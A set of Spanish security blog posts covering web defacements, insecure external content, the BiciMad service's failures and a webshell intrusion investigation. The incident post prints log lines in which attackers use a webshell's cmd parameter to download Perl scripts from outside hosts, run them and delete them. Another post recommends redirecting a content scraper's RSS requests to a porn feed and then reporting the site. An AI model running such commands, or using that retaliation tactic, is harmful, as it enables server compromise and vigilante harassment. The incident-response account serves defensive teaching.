El defacement de la web de Donald Trump y la "competi" por hacer grafitis en sitios web

Hacía mucho tiempo que no entraba a Zone-h a ver algunos Defacement de páginas web. Durante años visitaba todos los días para ver qué habían publicado nuevo, pero desde que comenzaron los ataques masivos a servidores DNS para hacer defacements con técnicas de redirect por miles, lo fui dejando de visitar poco a poco. Hoy la noticia ha sido el Defacement de la web del ex-presidente Donald Trump, y he entrado otra vez a primera hora de la mañana para ver "cómo iba la competi".

Figura 1: El defacement de la web de Donald Trump y

la "competi" por hacer grafitis en sitios web

Si has visto charlas mías antiguas, seguramente me habrás escuchado hablar de Zone-h y los defacement. El arte del "Defacement" consiste en modificar la apariencia de una web controlando lo que se pinta en un determinado dominio, en el caso de hoy, el dominio de la web personal del ex-presidente Donald Trump. 

Figura 2: Defacement a la web de Donald Trump

Esto se puede hacer de muchas formas, desde hackeando el servidor DNS y haciendo que apunte a otra servidor web controlado, hasta hackeando el servidor web y cambiando los archivos que sirve, modificando la base de datos de dónde se cargan los datos o, como se hizo en la web de la popular conferencia de seguridad informática, hackeando un servidor tercero desde el que se carga algo de contenido - es decir, un ataque a un proveedor -.

Figura 3: Lista de sitios recientes defaced relevantes en Zone-h

El defacement es un arte muy similar al grafiti, consiste en hacer una pintada en una web en forma de mensaje escrito, de diseño gráfico, de simple firma para saber que el artista ha sido capaz de firmar en la web, pero que podría haber hecho algo mucho más sibilino y sutil. Hay que tener en cuenta que, por ejemplo, si alguien hubiera visitado la web hackeada de "juantaextremadura.net" - reportada la semana pasada - podría haber sito atacado si el atacante hubiera querido poner algo malicioso para los visitantes. Pero a él le ha bastado con poner un archivo de texto con su firma.

Figura 4: Defacement de firma aún activo en juntaextremadura.net

Entrar a Zone-h siempre es darse cuenta de cómo funciona el mundo de Internet, de lo fácil que sigue siendo para los atacantes entrar en los servidores expuestos a la red de empresas y administraciones públicas. Por ejemplo, ese ejemplo que os acabo de poner de Junta de Extremadura, aún se encuentra sin ser detectado y reparado, a pesar de que esta dado de alto y publicado en la web más famosa de defacements.

Figura 5: Defacement de la Biliboteca Forestal del Gobierno de México

Por supuesto, siempre quedarán ya en el mirror - la copia que hace el sito Zone-h del defacement para que perdure después de que sea arreglado, así que es también una buena medida para conocer el nivel de protección o no que tiene una determinada organización, ya que se pueden buscar dominios, direcciones IP, defacements, etcétera.

Figura 6: Mirror de defacement Homepage en dominio .FR

Además siempre es curioso ver los defacement destacados, con especial interés con los que han sido en la Homepage, que vienen marcados con la H. Este es otro fresco, de un dominio en Francia que aún está "caliente" ya que es de ayer mismo. Supongo que hoy tendrán trabajo los equipos de CSIRT, el CISO, los pentesters, etcétera, para saber qué ha pasado, a qué ha afectado, cuánto hay que notificar a los clientes, cómo lo arreglamos, cómo hacemos que no vuelva a pasar.... es decir, hoy es día para que casi todos los roles de seguridad en esa organización trabajen un poco más nerviosos debido a la exposición pública... como los de la web de Donald Trump.

Figura 7: Defacement de Homepage aún "caliente" en domino .FR

Entra un rato a Zone-h, curiosea por allí a ver qué encuentras, que siempre hay cosas curiosas, por lo artístico de los defacers rusos, turcos y chinos, por las víctimas que te vas a encontrar, o por la cantidad de sitios que es capaz de hacerse un solo defacer o un grupo de ellos. Te va a dar una curiosa impresión de cómo es la seguridad del mundo de la web, para que navegues por sitios web al tuntún en tu día a día... Imagina que todos esos sitios hackeados en lugar de grafitis y firmas se dedicaran a distribuir ransomware... oh, wait!

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  

Cómo tu web se ve "fea" en Google Chrome por ser "insegura"

Hoy os voy a contar una historia que me pasó este domingo mientras que preparaba el artículo con la lista de eventos de esta semana que nos entra. Es una curiosidad que me pasó cuando estaba revisando la web de la Hacr0n (ya sabéis, la CON que hay este jueves y viernes en las Islas Canarias y en la que voy a participar con una charla). Es solo una anécdota, pero me ha parecido interesante.

Figura 1: Cómo tu web se ve "fea" en Google Chrome por ser "insegura"

En esos momentos en los que estoy maquetando el artículo que dedico a los eventos de la semana visito las webs de todos y por tanto me conecté a la página de Hackr0n a revisar la información en detalle. Y fue en ese momento cuando me percaté de que había una alerta nueva en mi navegador que no había visto y que me alertaba de la existencia de scripts inseguros en la web del congreso.

Figura 2: Una alerta de seguridad en la web de Hackr0n en Google Chrome

Ya os podéis imaginar, antes de cargar los scripts procedí a revisar el contenido concreto de la alerta para ver qué significaba exactamente ese mensaje. Como podéis ver, no dice demasiado, y solo que hay carga de contenido inseguro y que si le damos OK, entonces aparecerá un mensaje de Not Secure en la web para que sepa que estoy en riesgo.

Figura 3: Explicación en Google de la alerta de Google Chrome

Tal y cómo se puede ver en el mensaje, el contenido del error parece que marca que algunos scripts pudieran estar cargándose remotamente, algo de lo que yo os he alertado muchas veces [véase Riesgos de seguridad al cargar contenido externo en tu web] , así que me fui a buscar todos los scripts que se estaban cargando en la web de Hacrk0n a ver si eran de otras ubicaciones.

Figura 4: Scripts de la web de Hackr0n. Todos ok.

Como podéis observar, el código de la web está muy ordenadito y todos los scripts están agrupados y se cargan localmente, así que no es contenido externo en código script, así que no iba por ahí el tiro. Tenía que ser otra cosa.

La explicación a la alerta

Revisando la explicación del mensaje de error que se puede ver en el Figura 3, parece que pudiera ser que algún contenido se cargara vía HTTP en lugar de vía HTTPs, pero desde luego no tenía nada que ver con los scripts, así que podrían ser otros recursos. Así que revisando el código busqué todos los enlaces que existieran HTTP, en lugar de HTTPs, a ver si algo se había colado. Y efectivamente, hay unos links a fuentes de Google que son:

a) Contenido externo 

b) Se carga bajo HTTP en lugar de HTTPs

Figura 5: Los links inseguros en la web de Hackr0n

Esto es un error de seguridad que algún atacante podría utilizar en un esquema de man in the middle para hacer un ataque. Esta carga de scripts es la que genera el problema de seguridad y la alerta de Google Chrome, pero lo peor es que genera un efecto mayor.

Figura 6: Web insegura con las tipografías correctas

Al no haber sido cargada la fuente mediante el enlace Link por ser considerado un riesgo para la seguridad del cliente, la web se ve bastante mal, así que el efecto es que una medida de protección en una web genera un "Defacement" por culpa de un riesgo de seguridad. Fijaos en el aspecto de la Figura 2 y el aspecto de la Figura 6. Sea como fuere, la solución es cargar la fuente localmente y servirla vía HTTPs y todo resuelto. ¡Nos vemos en la Hackr0n!

Saludos Malignos!

Ataque de "Pr0n RSS Injection" y pon fin a los plagiadores

El mundo de hoy en día en Internet, por desgracia es muy común encontrarse con sitios webs que se dedican a fusilar el contenido de blogs sin permiso, copiando de forma integra y sin miramiento alguno lo que se publica en otras páginas web o blogs - como sucede en muchos sitios con el contenido de este blog -. Algunos se limitan a utilizar la clásica técnica de copy & paste manualmente, otros reescriben parcialmente el artículo cambiando algunas frases para que parezca originalmente suyo, pero los peores de todos ellos son los que directamente sindican el contenido vía RSS, de manera que en su blog o sitio web se crea una entrada nueva por cada artículo que se publique en el sitio original, y todo esto, por supuesto, completamente automatizado. Esta técnica de copia de contenido por sindicación vía RSS es la protagonista de esta historia y de cómo un ataque de Pr0n RSS Injection acabó con él.

Figura 1: Ataque de "Pr0n RSS Injection" y pon fin a los plagiadores

Puede que ya conozcáis la comunidad profesional de ITPro.es, la cual está formada por unos 80 expertos en Tecnologías de la Información que a diario publican artículos técnicos de calidad y en español. Si alguna vez has abierto un blog, sabrás lo duro que es generar contenido original valioso, y lo que cuesta crear un artículo con algo que no esté publicado en la web o que aporte valor al lector. En nuestro caso, el propietario del sitio web Corei7.com quiso aprovechar todos los contenidos que la Comunidad ITPro genera para enriquecer, de forma automática su blog y ganar visitas sin esfuerzo.

Figura 2: Contenido original en ITPro.es

Esto, realmente no es bueno a priori para nadie, ya que al final el sistema inteligente que usan los buscadores para detectar la fuente original encontraría que ese sitio es una copia del original, pero en un escenario de condición de carrera, podría lograr ser indexado antes que el sitio original y lograr enlaces de terceros que posicionen su contenido por encima del original. Lo que perjudicaría doblemente al creador original del contenido.

Hace unos días, uno de los miembros de la Comunidad ITPro descubrió que el sitio Corei7.com le estaba copiando sus propios artículos y también los del resto de compañeros, así que nos lo reportó inmediatamente para que tomase medidas al respecto, puesto a que el número de visitas se estaba viendo afectado, además del pagerank del sitio.

Figura 3: Contenido copiado vía RSS en Corei7.com

Desde la comunidad tratamos muy cordialmente de contactar con el responsable del sitio web para solicitarle la retirada de los artículos, pero éste no respondió los correos, así que con mucho ingenio optamos por darle una lección basada en hacerle comer otro tipo de artículos no esperados con un ataque de Pr0n RSS Injection.

El blog del copiante presume de tener “La mejor información tecnológica” pero realmente se estaba alimentando de los artículos de otros integrándolos vía RSS, así que desde ITPro se decidió hacer una pequeña modificación en la web original, que consiste en redirigir a un RSS algo especial a todas las peticiones que se hicieran al feed RRS que procediesen de la dirección IP de ese sitio web en concreto. Algo tan sencillo como crear esta regla en el código del servidor que sirve el RSS:

if("206.190.143.186"== $_SERVER['REMOTE_ADDR']) {
header('Status: 301 Moved Permanently');
header('Location: http://sinmanias.blogspot.com/feeds/posts/default?alt=rss');
}

Desde ese preciso momento, en el blog del plagiador que se dedica a reutilizar el contenido de los blogs en Internet, empezaron a crearse nuevas entradas con un contenido muy diferente al que estaba teniendo hasta ahora, tal y como podéis ver en la siguiente imagen. Esto no es nuevo, y al igual que en los casos de hotlinking, es un riesgo al que te sometes cuando integras contenido externo en tu web.

Figura 4: Ataque de Pr0n RSS Injection en Corei7.com

Si decides leer al artículo completo, te encontrarás con fotos, vídeos, etcétera del nuevo contenido del blog que generan un nuevo escenario temático y por tanto la necesidad de una nueva clasificación en las bases de datos de contenidos. Por si fuera poco, esto no termina aquí. Acto seguido se reportó en Google, Bing, Facebook, Twitter, etcétera que el contenido de ese sito web era altamente pornográfico e inapropiado, por lo que fue clasificado como es debido y retirado de los motores de búsqueda y las redes sociales. En el caso de Google, esta denuncia de contenido se realiza desde el siguiente enlace: Denuncia de Contenido en Google.

Figura 5: Denuncia de contenido inapropiado en Google

Tras esto, las visitas del sitio copiante han bajado, y las ganas de copiar contenido de los blogs de la Comunidad de ITPro por parte de este sitio también. Si tienes un blog y te copian el contenido de forma ilícita, ya sabes cómo arreglarlo, haz un Pr0n RSS Injection y denúncialo en los buscadores y redes sociales. Mano de santo.

Autor: Daniel Alonso
Administrador Comunidad ITPro

Riesgos de seguridad al cargar contenido externo en tu web

Desde hace algún tiempo, en todas las webs que auditamos con nuestro sistema de pentesting persistente Faast, una de las cosas que miramos es la lista de todas las fuentes de contenido externo que cargan en el sitio web. No solo lo que se carga en la página principal, sino lo que se carga en todas y cada una de las URLs de la web. Esto es importante, pues el ataque a los clientes de un sitio puede venir por un fallo en cualquiera de los servidores que están sirviendo código en la web que visualiza el cliente.

Los riesgos para un cliente pueden ser muchos, como el intento de distribución de malware o la inserción dentro de una Botnet JavaScript, pero también para el servidor, que al permitir que se cargue contenido se está abriendo la puerta a ataques de ClickJacking, Defacements, CSRF, etcétera, por lo que hay que tener mucho cuidado con qué contenido estás cargando en tu web.

El ataque de lo SEA a la web de la RSA Conference

Uno de los casos más recientes de ataque a una web mediante el compromiso de fuentes de contenido externo tuvo lugar en el defacement de la web de la RSA Conference, una de las conferencias de seguridad de más prestigio en el mundo. Para poder realizar el ataque, el grupo SEA (Syrian Electronic Army), aprovecho que se cargaba un fichero JavaScript desde un servidor web perteneciente a otro dominio. Este fichero se utilizaba para llevar las estadísticas de las visitas a la web y el grupo atacante busco la manera de que se cargara el fichero JavaScript que ellos querían. 

Figura 1: Esquema del ataque de SEA a la web de la RSA Conference

Para ello tenían que conseguir que el nombre de dominio del servidor remoto apuntara a una dirección IP controlada por ellos, por lo que revisaron en qué proveedor estaba registrado el dominio del servidor de las estadísticas e hicieron un ataque de phishing a los empleados del registrador - que buscaron por Linkedin - para robar credenciales de acceso a la gestión de los dominios.

Figura 2: Defacement mostrado por el fichero JavaScript malicioso cargado remotamente

Con una de esas identidades robadas fueron capaces de gestionar el DNS del dominio al que pertenecía el servidor de las estadísticas y hacer que el nombre del servidor que cargaba el fichero JavaScript en la web de la RSA Conference apuntara a un servidor web controlado por ellos, desde el que cargaron un fichero JavaScript distinto que mostraba el mensaje que ya se ha hecho famoso que puedes ver en la Figura 2.

El Malvertising o la distribución de malware por redes de publicidad

El termino de Malvertising viene de Malicious Advertising, o lo que es lo mismo, contratar con una empresa de publicidad una campaña en la que puedes meter contenido Flash o JavaScript. Esto ha demostrado ser una forma perfecta para para los amigos del Fraude Online de distribuir contenido JavaScript malicioso a través de los propios ficheros JavaScript de la red de publicidad que muchos sitios webs utilizan para ganar dinero. 

Figura 3: Esquema de Malvertising utilizado a través de Yahoo! Ad Network

Esto ha sucedido muchas veces en el paso, y la empresa FOX IT - donde trabajan algunos de los mejores investigadores de e-crime españoles - reportaron este año un caso de malvertising utilizando la red de Ads de Yahoo! para distribuir bots de diferentes tipos a través de un Kit de Exploits.

El Hot-linking de imágenes

No podía terminar esta recolección de ejemplos de porque puede ser malo utilizar contenido externo en tu web, sin hablar del Hot Linking. Cargar una imagen - por ejemplo para decorar un artículo en la página de noticias de la compañía o en el blog corporativo - puede terminar con un cambio de imagen en el servidor original que afecte a la reputación del sitio que incrusta la imagen.

Figura 4: Un mensaje típico de una web enfadada por el Hot-Linking

Este es un error muy de novato, y que en tiempos en los que el ancho de banda era más costoso para los servidores web estaba muy mal visto. Si tienes un blog corporativo evita este tipo de acciones para evitar problemas.

La privacidad de los usuarios

Cuando se carga contenido externo de una web remota, el uso de ese fichero JavaScript podría llevar a que se accediera a mucha información de la navegación de los usuarios. Es utilizado habitualmente por servicios de estadísticas, pero también mucho proveedores de tecnología hacen un seguimiento excesivo de la navegación de los usuarios.

Figura 5: Cómo Facebook espía la navegación de sus usuarios

Facebook está siendo investigado por la Unión Europea por espiar la navegación de los usuarios y Google ya fue demandado en Estados Unidos por espiar a sus usuarios. Ponerles sus librerías es abrir esa puerta de acceso a datos de tus clientes.

La carga de contenido externo hace menos segura tu web

Al final, cuando en una web se carga contenido remoto se está confiando en la seguridad de ese dominio, y no siempre es lo más adecuado, ya que los clientes del sitio web principal podrían verse atacados por un fallo en la seguridad de la gestión de cualquiera de los servidores remotos.

Por eso, cuando revisamos una web hay que mirar qué contenido se carga, y por qué se carga ese contenido. Al final, en la mayoría de los casos un fichero JavaScript o CSS podría cargarse desde el propio servidor y no dejar que un cambio en ese fichero JavaScript pudiera generar un fallo nada deseable, o una caída de servicio en alguno de esos servidores.

Figura 6: Contenido externo cargado en una web, visto con el inspector de contenido de Google Chrome

A lo largo de este tiempo hemos visto sitios que cargan ficheros JavaScript de efectos para el interfaz de usuario desde repositorios de código controlados por desarrolladores que ni son conocidos. Si ese desarrollador cierra, o lo que es peor, se vuelve malicioso y vende ese JavaScript a la distribución de malware, todos los sitios que lo incluyan estarán atacando a todos sus clientes.

Si es un fichero JavaScript para conseguir una determinada función en el interfaz de usuario o fichero CSS de una plantilla de la web, lo más sencillo sería copiar esos ficheros al servidor web principal y reducir al máximo el número de problemas que se deben afrontar.

Contenido externo y rendimiento

Una de las cosas que pueden llevar a alguien a cargar contenido desde servidores remotos es el límite de conexiones concurrentes paralelas que se pueden hacer desde un navegador de Internet a un servidor web. Esto no debería de ser un problema. En el caso de los límites del servidor web, eres tú el que lo controlas y configuras, así que haz tunning de tu servidor web y listo.

Figura 7: Tabla de conexiones concurrentes por hostname en cada navegador

En el caso del navegador del cliente sí que hay límites, pero los límites son por hostname, y como puede verse, estas son muchas. Si el rendimiento es un issue y necesitas paralelizar, lo mejor es que optimices el contenido que vas a cargar al cliente, uses ficheros JavaScript comprimidos y en bundle, y si son muchos los archivos que necesitas, pues que montes tu propia CDN con distintos hostnames o uses una CDN de confianza como servicio, pero cargar contenido de "por ahí" tiene sus riegos, así que evita todos los que puedas.

Saludos Malignos!

BiciMad, BonoPark, un pene erecto y denuncias por doquier

En la capital del mundo para los que de allí somos, la bella y linda ciudad que está centrada en la antaño región de Carpetani, se lanzó con notable éxito de afluencia el servicio BiciMad, una plataforma para poder alquilar vehículos no motorizados de dos ruedas y dos pedales, para con un manillar jugarse la vida lidiando entre autobús de la EMT, el motorista que toma la rotonda de Cibeles en "casco rojo" y coche buscando parking para no pagar zona verde, que va a precio de "sirlion del güeno".

En una semana de puesta en marcha ya tenía 4.000 usuarios registrados en el sistema y se habían pedido más de 6.000 servicios de alquiler. Todo iba de dulce y la alcaldesa pudo hacerse una foto de esas que gustan a los políticos.

Figura 1: La alcaldesa de Madrid en la presentación de BiciMad

Pero...como la gente no aprende, una vez más BiciMad, o mejor dicho, BonoPark, la empresa adjudicataria se había olvidado de hacer los deberes en temas de seguridad, y la cagó, cual Kobe Bryant, haciendo un triple desde el medio del campo:

1) Mal dimensionamiento del servicio: Al poco del lanzamiento entre faustos y algarabías, el servicio se cayó. No es que hubieran sufrido un ataque cibernético de DoS o DDoS, nada más lejos de la realidad. Simplemente el uso normal de los clientes en primera instancia llevó a la lona el servicio 

¿Cómo es posible que el servicio sufriera una denegación de servicio solo por la demanda de usuarios? Si esto ha sido así solo por el uso, hay que suponer que no tienen AntiDDoS ni nada similar, así que en el momento en que alguien le apunte una botnet o haga un ataque de amplificación, esto se va al suelo otra vez. 

Figura 2: Un kiosco de BiciMad sin servicio 

2) Sin auditoría de seguridad web: Clama al cielo ver que en la auditoría que le hicieron inicialmente, con cariño y sin necesidad de que la solicitaran, se pudiera ver que se habían dejado hasta las claves de los certificados publicadas.

Figura 3: Directory Listing en la web de BiciMad y ficheros de claves .pem

Con sus directory listing, con sus APIs sin proteger y con el volcado de todos los datos de la base de datos. Eso sí, como ellos dicen, nunca han sido hackeados.

3) Los kioscos interactivos, también si auditar: Ni sé ni cuantas veces he insistido en que cuando pones un Punto Interactivo, o un kiosco en los que los usuarios tienen acceso físico, la cosa puede acabar en drama. Ya he publicado múltiples ejemplos de estos fallos, pero en esta ocasión en BiciMad, la cosa llegó a las manos, o mejor dicho, a los penes, y acabó sufriendo el defacement de un pene que ha dado la vuelta al mundo.

Figura 4: El vídeo del pene de marras en el Totem de BiciMad 

Este ataque parece un homenaje al hacker que hizo algo parecido en la autopista de Moscú, poniendo un vídeo porno en un video-wall causando kilómetros y kilómetros de atascos, que sólo podrían haberse resuelto si los ciudadanos de Moscú pudieran disponer de un servicio de alquiler de bicicletas tipo BiciMoscú... oh, wait!

Dicho esto, ya los políticos aprovechan el caos que se está montando para cargar con el sistema de licitación, donde parece que la solvencia técnica ha sido lo menos valorado, y una vez más, la solvencia económica - o lo que es lo mismo, el que menos cobraba - se ha llevado el proyecto, dejando una pésima imagen de todo el proceso.

Figura 5: Bonopark denunciará a los atacantes de BiciMad

Eso sí, ahora han avisado que la empresa va a empezar a denunciar a todo el que hackee el sistema, según parece, por presiones del propio ayuntamiento. Espero que si se han llevado datos de los clientes, lo denuncien y los que tengan que velar por los datos robados de los ciudadanos tomen cartas en el asunto, que parece mentira que en el siglo XXI aún haya empresas que saquen cosas a Internet o la calle sin haber pasado una triste auditoría de seguridad externa.

Saludos Malignos!

Una historia personal con servidores owneados en mi red

Es lunes por la mañana y llego al trabajo con pocas ganas , aún con el chip de fin de semana activo, cuando de repente un compañero me despierta con un repentino: “nos van a venir bien tus conocimientos de seguridad, porque tenemos un virus en la red y nos van a bloquear la conexión a no ser que lo solucionemos”. Automáticamente el chip cambió y se activó el cuerpo. ¡Hora de la diversión!

Para poder entender la situación mejor, digamos que el escenario de trabajo es una gran empresa  que se encuentra “dividida” en dos más pequeñas. De ellas, el equipos IT de una de ellas es el que se encarga de la conectividad con el exterior y el equipo IT de la otra de los sistemas. Este entorno fueza a que el acceso desde Internet a la de empresa que se encarga de los sistemas debe pasar obligatoriamente por las redes de la otra empresa. Yo formo parte de la de empresa que gestiona los sistemas.

La empresa de conectividad nos envía un comunicado en el que parece ser que nuestro frontal web tiene instalada un web shell WSO 2.5. Sin embargo, analizando la traza incompleta que nos proporcionaron, veo que hay una dirección IP con puerto 81 “escondida” por ahí que corresponde a un firewall. Viendo la configuración del firewall veo que el puerto 81 lo redirige a un servidor que no gestionamos nosotros. Analizando los ficheros de log de Apache, veo una serie de llamadas a ficheros PHP más que sospechosos, casi todas ellas con estado de respuesta 404. Por ejemplo:

GET /blablabla/images/stories/food.php?rf
HTTP/1.1" 404 1024 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6"

Mmm curioso. Decido buscar qué peticiones a ficheros PHP tuvieron éxito utilizando egrep “php.*200” log y aquí es donde empiezan los resultados interesantes. Algunas muestras de peticiones que tuvieron éxito son las siguientes:

GET /blablabla/images/stories/food.php?cmd=
wget%20http://www.regme.cz/wp-content/uploads/2014/02/robot.txt;
perl%20robot.txt;perl%20robot.txt;perl%20robot.txt;perl%20robot.txt;
perl%20robot.txt;perl%20robot.txt;rm%20-fr %20robot.*
HTTP/1.1" 200 - "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6

GET /blablabla/images/stories/food.php?cmd=
curl+-C+-+-O+http://tarmim.pl/Albasoul/alb.txt
%3Bperl+alb.txt%3Brm+alb.txt
HTTP/1.1" 200 845 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6

GET /blablabla/images/stories/food.php?cmd=cd%20/tmp%20;
lwp-download%20http://www.ciaenote.com.br/lojawp/wpcontent/upgrade/p.log;
perl%20p.log%20;%20rm %20-rf%20p.log
HTTP/1.1" 200 901 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6"

Y así seguían unas cuantas decenas más de ellas. A su vez, cada uno de esos scripts llamaba a otros scripts de otros sitios que supongo que habrán sido comprometidos también por el mismo ataque. Como parece más que evidente, el fichero de la WebShell lleva por nombre food.php, así que me puse en contacto con alguien que tuviera acceso a ese equipo detrás del firewall que hacía las llamadas y preguntarle por ese archivo en el servidor web.

El responsable confirmó que sí, que estaba ese fichero y también otro con nombre food2.php. Para evitar que pudiera ser utilizado por los atacantes, pedí que fuera eliminado ese fichero para que, a priori, ahí queda el límite del incidente. Sin embargo, todos los que estamos relacionados con la seguridad informática,sabemos que una vez que un servidor ha sido comprometido lo mejor es aplicar "fuego purificador" en ese servidor para evitar ser afectados por cualquier otro backdoor que hubiera podido ser instalado en la máquina.

El proceso habitual sería hacer un análisis forense de la máquina para averiguar cómo se produjo la intrusión y en paralelo restaurar una copia de seguridad que se sepa que está bien, poniendo mil ojos a las opciones de monitorización y auditoría hasta que se sepa cómo entró la WebShell en el sistema.

Como os he contado al principio, la máquina no está en nuestra empresa, así que al comentar los siguientes pasos a realizar con los responsables de la máquina nos informaron de un pequeño problema. Como "buena práctica de seguridad", no se hacen backups de esa máquina. De todas formas, como veremos un poco más adelante, si se hubieran hecho las copias de seguridad de poco hubiera servido.

Mientras pasaban todos estos acontecimientos, echando un vistazo a los ficheros de log, me di cuenta de que otra llamada parecía indicar con más que toda probabilidad la existencia de otra shell en el sistema:

GET /blablabla/images/stories/vvv3.php? p=edit&
dir=/srv/www/htdocs/blablabla/images/stories&
file=/srv/www/htdocs/blablabla/images/storie s/food.php
HTTP/1.1" 200 4506 "Mozilla/5.0
(Windows NT 6.2; WOW64; rv:27.0
 Gecko/20100101 Firefox/27.0"

Esta vez, en vez de solicitar que miraran si ese archivo existía, lo que hice fue conectarme directametne a ese fichero PHP. Normalmente, cuando un pentester o un defacer profesional sube una WebShell a un servidor, lo hace estableciendo una contraseña, pero como ya se ha visto muchas veces, hay WebShells subidas sin ninguna protección y hasta indexadas en Google, así que había que probar cuál es el tipo de atacante al que nos enfrentamos.

Figura 1: WebShells indexadas en Google

No fue muy difícil, una petición et voilà! La WebShell no tiene ninguna protección de seguridad y yo tengo acceso al servidor con los privilegios del usuario Apache, pudiendo ejecutar cualquier comando siempre que este usuario tenga esos permisos - por eso es tan importante el Hardening de lo sistemas GNU/Linux -.

Figura 2: WebShell en los servidores owneados.

De un modo irónico, gracias a esta WebShell pude seguir investigando el compromiso de nuestros equipos, detectando unas cuantas WebShells más, como por ejemplo el zet.php que aparece en la imagen superior. También detecté numerosas aplicaciones para el envío masivo de e-mails en campañas de spam, por ejemplo el wew.php que sale en el listado anterior.

Figura 3: Conexión desde Kali Linux al programa PHP para hacer la campaña de spam

Una vez identificado el compromiso, me puse a investigar en los ficheros de log desde cuándo habían sido vulnerados y owneados estos servidores. El reporte de la empresa de conectividad hacía referencia al 14 de Febrero de este año pero tirando de trazas en los ficheros de log yo llegué hasta Octubre del año pasado detectando el problema - antes de que desde “arriba” me dijeran que dejara de lado esta tarea, que ya no era importante, y me pusiera con otra -.

Este es el motivo por el que dije antes que si hubiera habido backups de poco servirían a priori, ya que se estarían realizando copias de seguridad infectadas desde al menos Octubre, lo que deja claro que antes de tomar una decisión apresurada hay que acotar el impacto de la infección. Por supuesto, si esas copias además hubieran sido analizadas como parte de una estrategia antimalware, probablemente hubiera sido mucho más sencillo y rápido detectar la intrusión.

Al final al menos pude convencer de que este servidor ya no era seguro, y que lo mejor que se podía hacer era - y por suerte, así se hizo -, portar sus servicios clave a una instalación nueva, por lo que ya ese servidor no existe. El otro punto bueno, - si es que una intrusión puede tenerlo - fue que gracias a todo esto, pude “concienciar” un poco al resto del equipo y muchos superiores de la importancia de la implementación de controles de seguridad - y que éstos funcionen- , por lo que me han permitido dedicar parte de mi tiempo para encargarme de dichas tareas.

Figura 4: Aplica fuego purificador al servidor y listo

Esta fue una experiencia personal que he vivido en mi empresa, y que si sirve para que alguien aprenda en experiencia ajena, empieces a luchar por poner controles de seguridad los servidores de tu empresa para evitar descubrir meses después que tus sistemas están comprometidos.

Autor: Ayoze Fernández

Hackers, Hacktivistas & Ciber-Criminales en los media

En los medios de comunicación se suele identificar siempre a los hackers como cualquiera con capacidad de saltarse la seguridad de un sitio, y si lo hace para cometer actos delictivos parece que les encaja todavía más. Hoy os quiero dejar tres noticias en los que el termino "Hacker" se usa para identificar a personas que para nosotros son significativamente distintas. Aquí va:

Arrestaron a un "súper hacker" de 19 años en San Cristóbal

La noticia dice: "[...]el Ministerio de Seguridad nacional dio a conocer el caso: "Se detuvo a un joven súper-hacker, líder de una red integrada por siete personas, especializado en fraudes electrónicos trasnacionales y complejas triangulaciones de financieras que concretaba vulnerando la seguridad de varias webs de transferencia de dinero y juegos por internet", precisó en un comunicado.

El joven, de 19 años, es hijo de un ingeniero informático. En su casa tenía lo que los investigadores definieron como una "Baticueva tecnológica". ¿Qué es eso? "Computadoras con capacidades de cálculo muy superiores a las corrientes, cables de conexión especiales, servers rackeables, routers y 14 discos rígidos". 

Figura 1: La Baticueva Tecnológica del"superhacker"

Por supuesto para nosotros, en esta noticia de Infobae, a lo que se refieren realmente es a una banda de ciber-criminales dedicada al Fraude Online.

Hackers brasileños invaden sitios de NASA en protesta

La notica dice: "Um grupo hacker brasileiro invadiu pelo menos 14 subdomínios da Nasa, a agência espacial brasileira. Os sites atacados são todos hospedados no Vale do Silício, região da Califórnia conhecida por manter empresas de tecnologia. Na noite desta segunda-feira, os domínios estavam fora do ar.  

Segundo a reportagem, os ataques começaram na última terça-feira. Um funcionário da Nasa confirmou os ataques a uma TV, contrariando uma nota da agência, mas disse que nenhuma informação confidencial foi acessada."

Figura 2: Imagen utiliza en el defacement de los subdominios de la NASA

Como se puede interpretar en esta noticia de Terra, los hackers hicieron defacements a varios subdominios y colgaron el mensaje de "Stop Spying on us". La pregunta es si realmente querían atacar a la NASA o a la NSA por sus programas de espionaje en Internet. Esto para nosotros son reivindicaciones ideológicas ejecutadas por hacktivistas.

Earn money for your exploits, this time on mobile pwns, sorry, phones

We covered what you might call the regular-sized Pwn2Own earlier this year, from the announcement of its $500,000 in prize money to the day by day results. The outcome was a series of victories for the hackers, with HP ultimately paying out $480,000.

En esta noticia, en el fantástico blog de Naked Security, se habla de hackers ganando dinero por encontrar y explotar vulnerabilidades en terminales móviles, pero dentro de las famosas conferencias Mobile Pwn2Own, y donde se encuentran y parchean los bugs que se descubren sin que puedan utilizarse para el mal. El año pasado, por ejemplo, se encontró el primer bug de Mobile Safari en iOS 6 para ejecutar código arbitrario aunque en algunas versiones de Apple Safari tardara un año en parchearlo.

Tres sitios en los medios en los que se habla de hackers, y en los que para nosotros hablan de cosas diferentes por las motivaciones, que no por las técnicas que pueden utilizar.

Saludos Malignos!